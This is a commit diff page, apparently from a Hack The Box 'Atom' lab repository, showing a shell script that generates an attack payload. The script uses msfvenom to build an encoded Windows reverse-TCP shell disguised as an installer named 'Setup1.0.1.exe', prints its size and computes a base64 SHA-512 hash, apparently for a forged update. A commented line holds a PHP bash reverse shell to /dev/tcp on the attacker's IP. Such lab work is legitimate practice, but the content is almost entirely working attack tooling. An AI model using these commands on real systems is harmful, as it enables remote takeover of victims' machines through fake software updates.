Skip to content

Commit 0e176cd

Browse files
committed
Updated gen-payload
1 parent a46b81a commit 0e176cd

File tree

1 file changed

+4
-0
lines changed

1 file changed

+4
-0
lines changed

hack_the_box/atom/send-payload.sh renamed to hack_the_box/atom/gen-payload.sh

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -4,8 +4,12 @@ echo "$ip"
44

55
echo "Making payload..."
66
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=$ip LPORT=9001 -b "\x00" -e x86/shikata_ga_nai -f exe -o "heedv1'Setup1.0.1.exe"
7+
#echo "<?php exec(\"/bin/bash -c 'bash -i >& /dev/tcp/$ip/9001 0>&1'\") ?>" > "heedv1'Setup1.0.2.php.exe"
78

89
echo "Getting size of payload..."
910
size=$(stat -c%s "heedv1'Setup1.0.1.exe")
1011
echo "$size"
1112

13+
echo "Making base64..."
14+
b64=$(shasum -a 512 heedv1\'Setup1.0.1.exe | cut -d " " -f1 | xxd -r -p | base64)
15+
echo "$b64"

0 commit comments

Comments
 (0)